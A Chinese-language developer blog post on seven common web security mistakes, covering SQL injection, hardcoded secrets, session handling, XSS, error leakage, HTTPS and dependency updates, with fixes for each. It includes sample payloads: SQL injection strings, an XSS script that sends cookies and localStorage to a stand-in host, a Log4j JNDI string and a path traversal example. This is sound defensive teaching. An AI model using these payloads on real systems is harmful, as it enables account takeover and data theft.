每周都有大厂因为数据泄露上热搜,但你以为黑客用的是什么高深的0day漏洞?
错了。
90%的安全事故都源于开发者犯的那几个"老掉牙"的错误:
问题不是你不懂安全,而是你以为"我这个小项目不会有人攻击"。
就像你以为家里没什么值钱的就不锁门,直到有一天发现电脑被人装了挖矿程序,CPU跑满96%,电费飙到天际。
安全不是一套要背的理论,而是写代码时多问自己三个问题的习惯:
今天就来盘点开发者最容易踩的7个坑,以及一劳永逸的解决方案。
第一宗罪:相信用户输入 = 开门揖盗
为什么这是最致命的错误?
想象你开了个快递站,别人说"我来取XX的包裹",你连身份证都不看就给了。
信任用户输入就是这个逻辑。
大部分开发者写代码时,脑子里想的都是"正常用户"会怎么用这个功能。但黑客不是正常用户,他们输入的是:
// 用户输入:admin' OR '1'='1
// 你以为的查询:
SELECT * FROM users WHERE username = 'admin' AND password = 'xxx'
// 实际执行的查询:
SELECT * FROM users WHERE username = 'admin' OR '1'='1' AND password = 'xxx'
// 结果:绕过密码验证,直接登录
攻击流程图
┌─────────────────┐
│ 用户输入表单 │
│ (email/password)│
└────────┬─────────┘
│
▼
┌─────────────────────────────┐
│ 后端直接拼接SQL字符串 │
│ `SELECT * FROM users │
│ WHERE email='${email}'` │
└────────┬────────────────────┘
│
▼
┌─────────────────────────────┐
│ 黑客输入: admin'-- │
│ 生成的SQL: │
│ SELECT * FROM users WHERE │
│ email='admin'--' AND ... │
│ (-- 注释掉后面的密码验证) │
└────────┬────────────────────┘
│
▼
┌─────────────────┐
│ 直接登录成功 │
│ 拿到管理员权限 │
└─────────────────┘
开发者常见场景
在国内做项目,经常遇到这样的需求:"老板要个后台能导出Excel,传个ID就行"。
然后你写了这样的代码:
// ❌ 危险代码
app.get('/export', (req, res) => {
const orderId = req.query.id; // 直接从URL获取
const query = `SELECT * FROM orders WHERE id = ${orderId}`;
db.query(query).then(data => {
// 生成Excel...
});
});
看起来没问题?如果有人访问:
/export?id=1 UNION SELECT username,password FROM users
你的整个用户表就被导出了。
正确做法(理论+实战)
1. 永远使用参数化查询
把用户输入当成"数据"而不是"代码":
// ✅ 正确做法
const query = 'SELECT * FROM orders WHERE id = ?';
db.query(query, [orderId]).then(data => {
// 数据库会自动转义特殊字符
});
原理解析: 参数化查询的本质是告诉数据库:"这是一个占位符,后面传的数据只能是数据值,不能被当成SQL代码执行"。
就像你去银行取钱,柜员会问:"请问您的账号是?" 而不是 "请问您要执行什么银行操作?"
2. 使用Schema验证库
国内项目常用的组合:
import Joi from'joi';
const loginSchema = Joi.object({
email: Joi.string().email().required(),
password: Joi.string().min(8).required(),
// 只接受这两个字段,其他的直接拒绝
}).options({ stripUnknown: true });
app.post('/login', (req, res) => {
const { error, value } = loginSchema.validate(req.body);
if (error) {
return res.status(400).json({
message: '输入格式错误',
details: error.details // 开发环境可返回,生产环境别返回
});
}
// 这里的 value 是经过验证的安全数据
handleLogin(value);
});
3. 富文本内容必须净化
如果你的应用允许用户发布文章(像掘金、思否这样的),必须过滤HTML:
import DOMPurify from 'isomorphic-dompurify';
const userContent = req.body.content;
const cleanContent = DOMPurify.sanitize(userContent, {
ALLOWED_TAGS: ['p', 'br', 'strong', 'em', 'code', 'pre'],
ALLOWED_ATTR: [] // 不允许任何属性,包括onclick之类的
});
实战检查清单
- [ ] 表单输入用Schema验证(Joi/Zod/Yup)
第二宗罪:把密钥写在代码里 = 把银行卡密码贴在卡上
为什么开发者会犯这个错误?
因为方便。
你在本地开发的时候,为了快速跑通流程,直接把数据库密码、微信支付密钥、阿里云AccessKey写死在代码里:
// ❌ 典型的"待会儿改"代码
const dbConfig = {
host: 'localhost',
user: 'root',
password: 'MyPassword123!', // 想着"反正是本地,没事"
database: 'production_db'
};
const wechatPaySecret = 'wxpay_live_xxxxxxxxxxxxxxxx';
然后一忙起来,直接git push了。
泄露的后果有多严重?
我见过一个真实案例:
某创业公司把阿里云AccessKey写在前端代码里(是的,前端),结果:
Github上每天都有扫描脚本在找这种泄露的密钥,你提交的那一秒,可能就被盯上了。
密钥泄露检测流程
┌──────────────────────┐
│ 开发者提交代码 │
│ git push origin main │
└──────┬───────────────┘
│
▼
┌──────────────────────────────────┐
│ Github仓库(公开/私有都可能泄露)│
└──────┬───────────────────────────┘
│
▼
┌─────────────────────────────────────┐
│ 自动扫描脚本(黑客/白帽运行的工具) │
│ truffleHog, GitRob, GitLeaks... │
└──────┬──────────────────────────────┘
│
▼
┌────────────────────────────────┐
│ 发现密钥/token/密码 │
│ - AWS密钥格式: AKIA... │
│ - 私钥标识: BEGIN PRIVATE KEY │
│ - 数据库连接串: mysql://... │
└──────┬─────────────────────────┘
│
▼
┌─────────────────────────┐
│ 10分钟内开始尝试登录 │
│ 或购买云服务器挖矿 │
└─────────────────────────┘
正确做法:三层防护
第1层:环境变量
把所有敏感信息放到.env文件:
# .env
DB_PASSWORD=SuperSecretPass123!
WECHAT_PAY_SECRET=wxpay_live_xxxxx
ALIYUN_ACCESS_KEY=LTAI5t...
ALIYUN_SECRET_KEY=xxxxx
代码里这样读取:
// config.js
import dotenv from 'dotenv';
dotenv.config();
export const dbConfig = {
host: process.env.DB_HOST,
user: process.env.DB_USER,
password: process.env.DB_PASSWORD, // 从环境变量读取
};
记住这个命令:
echo ".env" >> .gitignore
第2层:Secret Manager(生产环境)
国内常用的方案:
使用示例(以阿里云KMS为例):
import KMS from'@alicloud/kms-sdk';
const client = new KMS({
endpoint: 'kms.cn-hangzhou.aliyuncs.com',
accessKeyId: process.env.KMS_ACCESS_KEY,
accessKeySecret: process.env.KMS_SECRET_KEY
});
asyncfunction getDBPassword() {
const result = await client.decrypt({
CiphertextBlob: 'encrypted_password_from_kms'
});
return result.Plaintext; // 解密后的密码
}
第3层:定期轮换
设置提醒,每3-6个月更换一次密钥,尤其是:
已经泄露了怎么办?
如果你发现代码里的密钥已经提交到Github:
- 删除commit不够,Git历史还保留着:
git filter-branch --force --index-filter \
"git rm --cached --ignore-unmatch config.js" \
--prune-empty --tag-name-filter cat -- --all
- 强制推送:
git push origin --force --all - Github提供的BFG Repo-Cleaner工具更简单:
bfg --delete-files config.js
git reflog expire --expire=now --all && git gc --prune=now --aggressive
但最好的办法还是:一开始就不要提交。
第三宗罪:裸奔的Session = 把钥匙挂在门把手上
什么是Session安全?
你登录了一个网站,服务器给你发了个"通行证"(Session ID),存在Cookie里。
之后每次请求都带着这个通行证,服务器就知道"哦,是这个已登录用户"。
问题来了:如果这个通行证被别人偷走了呢?
常见的Session安全问题
1. Cookie没设安全标记
// ❌ 危险的做法
res.cookie('sessionId', sessionId); // 裸奔
这个Cookie可以被:
2. Token永不过期
见过很多国内项目为了"用户体验",JWT的过期时间设成30天、甚至永久:
// ❌ 这是给黑客送温暖
const token = jwt.sign({ userId: user.id }, SECRET, {
expiresIn: '999999d' // 接近3000年
});
结果就是:用户手机丢了,APP还能一直登录。
3. 明文存储密码
是的,2024年了还有公司这么干。
我在做安全审计时,见过某创业公司的数据库:
mysql> SELECT * FROM users LIMIT 1;
+----+----------+------------+
| id | username | password |
+----+----------+------------+
| 1 | admin | admin123 | -- 明文!!
+----+----------+------------+
问他们为什么不加密,回答是:"用户忘记密码了怎么办?"
兄弟,忘记密码可以重置,但泄露了你就完蛋了。
正确的身份认证流程
┌─────────────┐
│ 用户输入密码 │
└──────┬──────┘
│
▼
┌───────────────────────────┐
│ 后端用bcrypt加密后比对 │
│ (不是解密,是重新算hash) │
└──────┬────────────────────┘
│
▼
┌────────────────────────────────┐
│ 验证通过,生成Session/JWT │
│ - Session ID: 随机字符串 │
│ - JWT: 包含userId + 过期时间 │
└──────┬─────────────────────────┘
│
▼
┌─────────────────────────────────────┐
│ 设置Cookie标记(关键!) │
│ - HttpOnly: JS无法读取 │
│ - Secure: 只在HTTPS传输 │
│ - SameSite: 防止跨站请求 │
│ - MaxAge: 设置过期时间 │
└──────┬──────────────────────────────┘
│
▼
┌────────────────┐
│ 返回给客户端 │
└────────────────┘
实战代码:标准的身份认证
1. 密码加密
import bcrypt from'bcrypt';
// 注册时加密密码
asyncfunction register(username, password) {
const saltRounds = 12; // 越大越安全,但也越慢
const hashedPassword = await bcrypt.hash(password, saltRounds);
await db.users.create({
username,
password: hashedPassword // 存储加密后的
});
}
// 登录时验证
asyncfunction login(username, password) {
const user = await db.users.findOne({ username });
if (!user) returnnull;
// 用bcrypt.compare验证,不是自己解密
const isValid = await bcrypt.compare(password, user.password);
return isValid ? user : null;
}
为什么不用MD5?
MD5太快了,黑客可以用GPU每秒算几十亿次,暴力破解你的密码。
bcrypt慢是设计出来的,让暴力破解变得不现实。
2. 安全的Cookie设置
app.post('/login', async (req, res) => {
const user = await authenticate(req.body);
if (user) {
const sessionId = generateSecureSessionId();
// 存储到Redis(比存内存更靠谱)
await redis.set(`session:${sessionId}`, JSON.stringify({
userId: user.id,
loginTime: Date.now()
}), 'EX', 3600); // 1小时过期
// 设置Cookie(重点在这里)
res.cookie('sessionId', sessionId, {
httpOnly: true, // JS无法读取
secure: true, // 只在HTTPS传输
sameSite: 'strict', // 最严格的跨站保护
maxAge: 3600000 // 1小时后过期
});
res.json({ message: '登录成功' });
}
});
3. JWT的正确用法
如果用JWT(国内很多前后端分离项目都用):
import jwt from'jsonwebtoken';
// 生成Access Token(短期)和Refresh Token(长期)
function generateTokens(user) {
const accessToken = jwt.sign(
{ userId: user.id, role: user.role },
process.env.JWT_SECRET,
{ expiresIn: '15m' } // 只给15分钟
);
const refreshToken = jwt.sign(
{ userId: user.id, type: 'refresh' },
process.env.REFRESH_SECRET,
{ expiresIn: '7d' } // 7天
);
return { accessToken, refreshToken };
}
// 刷新Token的接口
app.post('/refresh', (req, res) => {
const { refreshToken } = req.body;
try {
const decoded = jwt.verify(refreshToken, process.env.REFRESH_SECRET);
if (decoded.type !== 'refresh') {
return res.status(401).json({ error: '无效的token类型' });
}
// 生成新的accessToken
const newAccessToken = jwt.sign(
{ userId: decoded.userId },
process.env.JWT_SECRET,
{ expiresIn: '15m' }
);
res.json({ accessToken: newAccessToken });
} catch (err) {
res.status(401).json({ error: 'Token已过期' });
}
});
为什么搞这么复杂?
因为:
- Access Token短:就算被偷走,15分钟后就失效
- 两个Secret分开:就算Access Token泄露,也拿不到Refresh Token
常见场景的安全建议
| | |
|---|
| Session + HttpOnly Cookie | |
| | |
| | |
| | |
第四宗罪:忘记转义输出 = 给黑客开了个广播站
XSS攻击:最古老但依然有效的招数
Cross-Site Scripting(跨站脚本攻击),简称XSS,听起来高端,其实原理很简单:
把用户输入的恶意代码当成HTML执行了。
一个真实的例子
某电商网站的搜索功能:
// 后端代码
app.get('/search', (req, res) => {
const keyword = req.query.q;
res.send(`
<html>
<h1>搜索结果:"${keyword}"</h1>
<p>未找到相关商品</p>
</html>
`);
});
看起来没问题?如果有人访问:
/search?q=<script>alert(document.cookie)</script>
页面就会变成:
<h1>搜索结果:"<script>alert(document.cookie)</script>"</h1>
这个script会真的执行,弹出用户的Cookie!
更狠的攻击:
/search?q=<script>
fetch('https://hacker.com/steal', {
method: 'POST',
body: JSON.stringify({
cookie: document.cookie,
localStorage: JSON.stringify(localStorage),
userAgent: navigator.userAgent
})
});
</script>
用户的所有信息都被发送到黑客服务器了。
XSS攻击流程
┌──────────────────────┐
│ 黑客构造恶意URL │
│ yoursite.com?q=<script>│
│ fetch('hacker.com') │
└──────┬───────────────┘
│
▼
┌──────────────────────────────┐
│ 诱导受害者点击 │
│ - 伪装成活动链接 │
│ - 在社交媒体/论坛分享 │
│ - 邮件钓鱼 │
└──────┬───────────────────────┘
│
▼
┌─────────────────────────────────┐
│ 受害者访问,浏览器执行恶意脚本 │
│ <script>发送到黑客服务器</script>│
└──────┬──────────────────────────┘
│
▼
┌────────────────────────────┐
│ 黑客收到: │
│ - Cookie (可登录受害者账号) │
│ - Token (获取API权限) │
│ - 表单数据 │
└────────────────────────────┘
现代框架的保护机制
好消息:React、Vue、Angular都默认转义输出。
在React里写:
function SearchResult({ keyword }) {
return <h1>搜索结果:{keyword}</h1>;
}
即使keyword是<script>alert(1)</script>,React也会渲染成:
<h1>搜索结果:<script>alert(1)</script></h1>
< 和 > 被转义成了<和>,不会被当成HTML标签执行。
但是! 如果你用了dangerouslySetInnerHTML(React)或v-html(Vue),保护就失效了:
// ❌ 危险!
function RichContent({ html }) {
return <div dangerouslySetInnerHTML={{ __html: html }} />;
}
什么时候必须用innerHTML?
只有在渲染富文本编辑器内容时(比如文章、评论)。
这时候必须用DOMPurify净化:
import DOMPurify from'isomorphic-dompurify';
function ArticleContent({ htmlContent }) {
// 净化HTML,只保留安全的标签和属性
const cleanHTML = DOMPurify.sanitize(htmlContent, {
ALLOWED_TAGS: [
'p', 'br', 'strong', 'em', 'u', 's',
'h1', 'h2', 'h3', 'h4', 'h5', 'h6',
'blockquote', 'code', 'pre',
'ul', 'ol', 'li',
'a', 'img'
],
ALLOWED_ATTR: {
'a': ['href', 'title', 'target'],
'img': ['src', 'alt', 'title']
},
ALLOW_DATA_ATTR: false, // 不允许data-*属性
ALLOWED_URI_REGEXP: /^(?:(?:(?:f|ht)tps?|mailto|tel):|[^a-z]|[a-z+.-]+(?:[^a-z+.\-:]|$))/i,
});
return<div dangerouslySetInnerHTML={{ __html: cleanHTML }} />;
}
CSP:最后一道防线
Content Security Policy(内容安全策略),即使有XSS漏洞,也能降低危害。
在HTTP响应头里加上:
app.use((req, res, next) => {
res.setHeader(
'Content-Security-Policy',
[
"default-src 'self'", // 只允许同源资源
"script-src 'self' https://cdn.example.com", // 脚本只能来自这些地方
"style-src 'self' 'unsafe-inline'", // 样式可以内联
"img-src 'self' data: https:", // 图片可以是data URL或https
"connect-src 'self' https://api.example.com", // API请求只能到这里
"font-src 'self' https://fonts.googleapis.com",
"object-src 'none'", // 禁止<object>/<embed>
"base-uri 'self'", // 禁止<base>标签劫持
"form-action 'self'", // 表单提交只能到本站
"frame-ancestors 'none'", // 禁止被iframe嵌入
"upgrade-insecure-requests", // 自动升级HTTP到HTTPS
].join('; ')
);
next();
});
这样即使有XSS,恶意脚本也无法:
检查清单
- [ ] 默认不用
innerHTML/dangerouslySetInnerHTML - [ ] 定期扫描XSS漏洞(用OWASP ZAP等工具)
第五宗罪:错误信息太详细 = 给黑客画了张藏宝图
你的报错信息在泄露什么?
开发环境下,看到详细的报错是好事。但如果在生产环境也这样:
// ❌ 生产环境的危险做法
app.use((err, req, res, next) => {
res.status(500).json({
error: err.message,
stack: err.stack, // 把整个调用栈都返回了
query: req.query, // 把查询参数也返回了
});
});
用户看到的错误:
{
"error": "SequelizeDatabaseError: Unknown column 'admin_password' in 'field list'",
"stack": "Error\n at Query.formatError (/app/node_modules/mysql2/lib/commands/query.js:218:15)\n at Connection.handlePacket (/app/node_modules/mysql2/lib/connection.js:425:18)",
"query": {
"username": "admin' OR '1'='1",
"action": "delete_all_users"
}
}
黑客看到这个信息就知道了:
常见的信息泄露场景
1. 数据库错误
Error: ER_NO_SUCH_TABLE: Table 'myapp.users' doesn't exist
泄露了数据库名(myapp)和表名(users)。
2. 文件路径错误
ENOENT: no such file or directory, open '/var/www/app/config/secrets.json'
泄露了服务器文件结构。
3. 依赖版本错误
TypeError: Cannot read property 'version' of undefined
at /app/node_modules/express/4.17.1/lib/router/index.js:284
泄露了Express版本号,黑客可以针对已知漏洞攻击。
错误处理流程图
┌────────────────┐
│ 代码抛出异常 │
└────────┬───────┘
│
▼
┌─────────────────────────────┐
│ 全局错误处理中间件 │
│ 分析错误类型和严重程度 │
└────────┬────────────────────┘
│
┌────┴────┐
│ │
▼ ▼
┌─────────┐ ┌──────────────────┐
│ 开发环境 │ │ 生产环境 │
└────┬────┘ └────┬─────────────┘
│ │
▼ ▼
┌──────────┐ ┌──────────────────────┐
│ 返回详细 │ │ 返回通用错误信息 │
│ 错误信息 │ │ "服务器内部错误" │
│ 包括堆栈 │ │ │
└──────────┘ └────┬─────────────────┘
│
▼
┌─────────────────────┐
│ 记录到日志系统 │
│ - 完整错误信息 │
│ - 请求上下文 │
│ - 用户ID │
│ - 时间戳 │
└─────────────────────┘
正确的错误处理
1. 区分环境
const isDev = process.env.NODE_ENV === 'development';
app.use((err, req, res, next) => {
// 记录到日志系统(生产环境必须做)
logger.error('服务器错误', {
error: err.message,
stack: err.stack,
url: req.url,
method: req.method,
ip: req.ip,
userId: req.user?.id, // 如果有登录信息
timestamp: newDate().toISOString()
});
// 返回给客户端
if (isDev) {
// 开发环境:详细信息
res.status(500).json({
error: err.message,
stack: err.stack,
details: err
});
} else {
// 生产环境:通用信息
res.status(500).json({
error: '服务器内部错误,请稍后重试',
requestId: req.id // 给个ID方便用户反馈时查问题
});
}
});
2. 分类错误
不同类型的错误,返回不同的提示:
class AppError extends Error {
constructor(message, statusCode, isOperational = true) {
super(message);
this.statusCode = statusCode;
this.isOperational = isOperational; // 是否是预期的错误
Error.captureStackTrace(this, this.constructor);
}
}
// 使用示例
app.post('/transfer', async (req, res, next) => {
try {
const { amount, to } = req.body;
if (amount > user.balance) {
// 这是预期的业务错误,可以给详细信息
thrownew AppError('余额不足', 400);
}
await transferMoney(user.id, to, amount);
res.json({ success: true });
} catch (err) {
next(err); // 传给错误处理中间件
}
});
// 错误处理中间件
app.use((err, req, res, next) => {
if (err.isOperational) {
// 业务错误:可以告诉用户具体原因
res.status(err.statusCode).json({
error: err.message
});
} else {
// 系统错误:隐藏细节
logger.error('系统错误', err);
res.status(500).json({
error: '服务器错误,请联系客服',
requestId: req.id
});
}
});
3. 敏感字段脱敏
日志里也要注意不要记录敏感信息:
const sensitiveFields = ['password', 'creditCard', 'idCard', 'token'];
function redactSensitive(obj) {
const cloned = JSON.parse(JSON.stringify(obj));
function redact(o) {
for (const key in o) {
if (sensitiveFields.includes(key)) {
o[key] = '***REDACTED***';
} elseif (typeof o[key] === 'object') {
redact(o[key]);
}
}
}
redact(cloned);
return cloned;
}
// 记录日志时脱敏
logger.info('用户登录', redactSensitive({
username: 'alice',
password: 'secret123', // 会被替换成 ***REDACTED***
ip: '192.168.1.1'
}));
日志监控建议
国内常用的日志服务:
关键指标监控:
// 用Sentry监控错误率
import * as Sentry from'@sentry/node';
Sentry.init({
dsn: process.env.SENTRY_DSN,
environment: process.env.NODE_ENV,
// 设置错误采样率(生产环境100%太贵,可以设50%)
sampleRate: process.env.NODE_ENV === 'production' ? 0.5 : 1.0,
// 过滤敏感信息
beforeSend(event) {
if (event.request) {
delete event.request.cookies;
delete event.request.headers?.Authorization;
}
return event;
}
});
// 设置告警规则(错误率超过阈值就通知)
// - 5分钟内错误超过100次 → 钉钉/企微通知
// - 数据库连接失败 → 立即通知
// - 支付接口报错 → 立即通知 + 短信
第六宗罪:不用HTTPS = 在大街上裸奔
HTTP和HTTPS的区别
用个通俗的比喻:
HTTP:你和朋友在餐厅聊天,隔壁桌的人都能听到
HTTPS:你们用暗号聊天,只有你俩能听懂
不用HTTPS的后果
中间人攻击(MITM):
用户 ---[明文数据]---> 黑客 ---[明文数据]---> 服务器
^ |
| ▼
└------[篡改返回]---┘
黑客可以:
常见的"我不需要HTTPS"理由
❌ "我这只是个内部系统,没人会攻击"
→ 内网也可能有人监听,员工的电脑可能被植入木马
❌ "HTTPS太贵了,SSL证书要钱"
→ Let's Encrypt提供免费证书,Cloudflare也免费提供
❌ "HTTPS会影响性能"
→ 现在的硬件和协议(TLS 1.3)影响微乎其微,通常<1%
❌ "测试环境没必要用HTTPS"
→ 测试环境的数据泄露一样有风险,有些API(如WebRTC)必须HTTPS才能用
HTTPS部署的三种方案
方案1:Let's Encrypt(免费)
最简单的方法:
# 安装Certbot
sudo apt install certbot python3-certbot-nginx
# 自动申请并配置
sudo certbot --nginx -d yourdomain.com -d www.yourdomain.com
# 自动续期(证书90天过期,设置每月更新)
sudo certbot renew --dry-run # 测试续期
(crontab -l 2>/dev/null; echo "0 3 1 * * certbot renew --quiet") | crontab -
方案2:阿里云/腾讯云免费证书
1. 登录阿里云/腾讯云控制台
2. 搜索"SSL证书"
3. 申请免费DV证书(单域名,1年有效)
4. 下载证书文件(.pem和.key)
5. 上传到服务器配置
Nginx配置:
server {
listen 443 ssl http2;
server_name yourdomain.com;
ssl_certificate /path/to/cert.pem;
ssl_certificate_key /path/to/cert.key;
# 安全配置
ssl_protocols TLSv1.2 TLSv1.3;
ssl_ciphers 'ECDHE-ECDSA-AES128-GCM-SHA256:ECDHE-RSA-AES128-GCM-SHA256';
ssl_prefer_server_ciphers on;
# HSTS(强制HTTPS,防止降级攻击)
add_header Strict-Transport-Security "max-age=63072000; includeSubDomains; preload" always;
location / {
proxy_pass http://localhost:3000;
}
}
# HTTP自动跳转HTTPS
server {
listen 80;
server_name yourdomain.com;
return 301 https://$server_name$request_uri;
}
方案3:Cloudflare(最简单)
1. 域名DNS改成Cloudflare的
2. 在Cloudflare控制台开启"SSL/TLS" → "Full"模式
3. 完成,Cloudflare自动提供HTTPS
好处:
安全响应头配置
光有HTTPS还不够,还要配置这些响应头:
app.use((req, res, next) => {
// HSTS:强制浏览器只用HTTPS访问(2年有效期)
res.setHeader(
'Strict-Transport-Security',
'max-age=63072000; includeSubDomains; preload'
);
// 防止MIME类型嗅探(防止XSS)
res.setHeader('X-Content-Type-Options', 'nosniff');
// 防止点击劫持(禁止被iframe嵌入)
res.setHeader('X-Frame-Options', 'SAMEORIGIN');
// 控制Referrer信息(不泄露完整URL)
res.setHeader('Referrer-Policy', 'no-referrer-when-downgrade');
// 禁用浏览器的XSS过滤(现代浏览器已经有CSP了)
res.setHeader('X-XSS-Protection', '0');
next();
});
常见问题排查
1. 证书过期
症状:浏览器显示"您的连接不是私密连接"
# 检查证书过期时间
echo | openssl s_client -servername yourdomain.com -connect yourdomain.com:443 2>/dev/null | openssl x509 -noout -dates
2. 混合内容(Mixed Content)
症状:HTTPS页面加载了HTTP资源,浏览器报错
// ❌ 错误:在HTTPS页面引用HTTP资源
<script src="http://cdn.example.com/jquery.js"></script>
// ✅ 正确:全部用HTTPS
<script src="https://cdn.example.com/jquery.js"></script>
// ✅ 或者用协议相对路径(自动匹配)
<script src="//cdn.example.com/jquery.js"></script>
3. 证书不受信任
症状:自签名证书,浏览器不认
解决:
- 生产环境:用Let's Encrypt或云服务商的证书
# 安装mkcert
brew install mkcert # macOS
# 或
sudo apt install mkcert # Linux
# 生成本地CA
mkcert -install
# 生成localhost证书
mkcert localhost 127.0.0.1 ::1
# 现在浏览器就信任这个证书了
第七宗罪:依赖万年不更新 = 开着漏洞车上高速
为什么不更新依赖?
开发者的心理活动:
然后有一天,你用的那个库爆出严重漏洞,上了CVE(通用漏洞披露)。
黑客立刻写出自动化攻击脚本,扫描全网还在用旧版本的网站。
你的网站,就在这份"待宰羔羊"名单里。
真实案例:Log4j漏洞
2021年12月,Java日志库Log4j爆出史诗级漏洞(CVE-2021-44228)。
影响范围:
- 阿里云、腾讯云、字节、百度、网易...几乎所有国内大厂中招
攻击简单到什么程度?
# 在任意输入框输入这个字符串
${jndi:ldap://attacker.com/exploit}
# 服务器就会去访问黑客的服务器,并执行黑客的代码
更新到安全版本只需要:
<!-- 把这个版本号改一下 -->
<dependency>
<groupId>org.apache.logging.log4j</groupId>
<artifactId>log4j-core</artifactId>
<version>2.17.0</version> <!-- 修复版本 -->
</dependency>
但很多公司根本没意识到自己在用Log4j,因为它是某个依赖的依赖的依赖...
依赖漏洞检测流程
┌──────────────────┐
│ 项目依赖树 │
│ (package.json) │
└────────┬─────────┘
│
▼
┌─────────────────────────────┐
│ 依赖扫描工具 │
│ - npm audit │
│ - Snyk │
│ - GitHub Dependabot │
└────────┬────────────────────┘
│
┌────┴─────┐
│ │
▼ ▼
┌─────────┐ ┌──────────────┐
│ 直接依赖 │ │ 间接依赖 │
│ express │ │ minimist │
│ react │ │ (被express引用)│
└────┬────┘ └──────┬───────┘
│ │
▼ ▼
┌─────────────────────────────┐
│ CVE数据库匹配 │
│ - 版本是否有已知漏洞 │
│ - 漏洞严重程度(Critical/High)│
└────────┬────────────────────┘
│
▼
┌────────────────────────────┐
│ 生成修复建议 │
│ - 可自动修复的直接升级 │
│ - 无修复版本的给出警告 │
│ - 提供临时缓解措施 │
└────────────────────────────┘
实战工具使用
1. npm audit(内置)
# 检查漏洞
npm audit
# 输出示例
found 3 vulnerabilities (1 moderate, 2 high)
# 自动修复(不会升级大版本)
npm audit fix
# 强制修复(可能破坏兼容性)
npm audit fix --force
# 查看详细信息
npm audit --json
2. Snyk(更强大)
# 安装
npm install -g snyk
# 登录
snyk auth
# 扫描项目
snyk test
# 自动打开PR修复漏洞(推荐!)
snyk monitor
Snyk会在Github上自动创建PR,帮你升级有漏洞的依赖:
PR #123: [Snyk] Security upgrade lodash from 4.17.15 to 4.17.21
This PR fixes a Prototype Pollution vulnerability in lodash.
Severity: High
CVE-2020-8203
3. GitHub Dependabot(免费)
在Github仓库的 Settings → Security → Dependabot 里开启:
- ✅ Dependabot alerts(漏洞告警)
- ✅ Dependabot security updates(自动修复PR)
- ✅ Dependabot version updates(自动升级小版本)
配置文件(.github/dependabot.yml):
version: 2
updates:
-package-ecosystem:"npm"
directory:"/"
schedule:
interval:"weekly"# 每周检查一次
open-pull-requests-limit:10
reviewers:
-"your-username"# PR自动分配给你
labels:
-"dependencies"
依赖更新策略
不同类型项目的更新频率建议:
版本号的含义(Semantic Versioning):
1.2.3
│ │ │
│ │ └─ Patch(补丁版本):bug修复,安全更新
│ └─── Minor(次要版本):新功能,向后兼容
└───── Major(主要版本):破坏性更新,不兼容
更新策略:
- Patch: 自动更新,风险极低
- Minor: 测试后更新,风险低
- Major: 谨慎更新,需要改代码
package.json的版本声明:
{
"dependencies": {
"express": "4.18.2", // 精确版本(不推荐)
"react": "^18.2.0", // ✅ 允许次要更新和补丁(推荐)
"lodash": "~4.17.21", // 只允许补丁更新
"axios": "*" // ❌ 任意版本(危险!)
}
}
无法更新的依赖怎么办?
有时候依赖太老了,没有修复版本,或者升级会破坏兼容性。
临时解决方案:
1. 用patch-package打补丁
# 安装
npm install patch-package --save-dev
# 手动修改node_modules里的文件
vim node_modules/vulnerable-package/index.js
# 生成补丁
npx patch-package vulnerable-package
# 以后每次npm install都会自动应用这个补丁
2. 用npm的overrides(npm 8.3+)
{
"overrides": {
"vulnerable-dep": "safe-version"
}
}
3. 寻找替代方案
// 比如moment.js不再维护,有漏洞
import moment from 'moment'; // ❌ 老旧
// 换成day.js,API兼容,体积更小
import dayjs from 'dayjs'; // ✅ 现代
CI/CD集成
在你的构建流程里加上依赖检查:
# .github/workflows/security.yml
name:SecurityScan
on:[push,pull_request]
jobs:
audit:
runs-on:ubuntu-latest
steps:
-uses:actions/checkout@v2
-uses:actions/setup-node@v2
-run:npmci
-run:npmaudit--audit-level=high# 有高危漏洞就失败
-run:npmruntest# 顺便跑测试
这样每次提交代码,都会自动检查依赖安全。
终极防御:Security-by-Default思维模式
技术手段都讲完了,最后讲讲思维方式。
安全不是一份待办清单,而是一种写代码的本能。
三个关键问题
每次写代码前,问自己:
1. 这个数据能被用户控制吗?
// 假设你在写一个文件下载接口
app.get('/download', (req, res) => {
const filename = req.query.file;
// ❌ 危险!用户可以输入 ../../../etc/passwd
res.download(`./uploads/${filename}`);
// ✅ 安全:验证文件名
const safeFilename = path.basename(filename); // 去掉路径
if (!safeFilename.match(/^[a-zA-Z0-9_.-]+$/)) {
return res.status(400).send('非法文件名');
}
res.download(`./uploads/${safeFilename}`);
});
2. 这段数据会暴露在哪里?
// 用户信息接口
app.get('/api/user/:id', async (req, res) => {
const user = await db.users.findById(req.params.id);
// ❌ 危险!把所有字段都返回了
res.json(user); // { id, email, password, admin_flag, ... }
// ✅ 安全:只返回必要的
res.json({
id: user.id,
username: user.username,
avatar: user.avatar
// 密码、权限标识等敏感字段不返回
});
});
3. 如果我是黑客,我会怎么攻击?
这个思维很重要。写完代码后,换个角度思考:
纵深防御(Defense in Depth)
不要只依赖一层保护,而是多层防御:
┌────────────────────────────────┐
│ 第1层:前端验证(用户体验) │
│ - 快速反馈 │
│ - 不能作为安全保障 │
└────────┬───────────────────────┘
│
▼
┌────────────────────────────────┐
│ 第2层:API网关(速率限制) │
│ - 防止暴力破解 │
│ - 防止DDoS │
└────────┬───────────────────────┘
│
▼
┌────────────────────────────────┐
│ 第3层:后端验证(核心) │
│ - Schema验证 │
│ - 业务逻辑检查 │
└────────┬───────────────────────┘
│
▼
┌────────────────────────────────┐
│ 第4层:数据库约束(最后防线) │
│ - 唯一索引 │
│ - 外键约束 │
│ - 字段类型限制 │
└────────────────────────────────┘
即使某一层被突破,后面还有防护。
最小权限原则
代码层面:
// ❌ 给应用赋予所有数据库权限
const db = new Database({ user: 'root', password: 'xxx' });
// ✅ 创建专用数据库用户,只给必要权限
// 创建用户(在数据库里执行)
CREATE USER 'app_user'@'localhost' IDENTIFIED BY 'xxx';
GRANT SELECT, INSERT, UPDATE ON myapp.* TO 'app_user'@'localhost';
-- 不给DELETE权限,防止误删数据
系统层面:
# Docker容器不要用root运行
FROMnode:18
USERnode# 用普通用户
WORKDIR/app
COPY..
RUNnpmci
CMD["node","server.js"]
API设计:
// JWT里只包含必要信息
const token = jwt.sign(
{
userId: user.id,
role: user.role // 只存角色,不存所有权限
},
SECRET,
{ expiresIn: '15m' }
);
// 权限检查在服务端做
app.delete('/api/post/:id', async (req, res) => {
const post = await db.posts.findById(req.params.id);
// ✅ 不信任JWT里的role,重新查数据库
const user = await db.users.findById(req.user.userId);
if (post.authorId !== user.id && user.role !== 'admin') {
return res.status(403).json({ error: '无权限' });
}
await post.delete();
res.json({ success: true });
});
自动化审计
别指望人工Code Review能发现所有问题,用工具辅助:
# 安装ESLint安全插件
npm install eslint-plugin-security --save-dev
# .eslintrc.js
module.exports = {
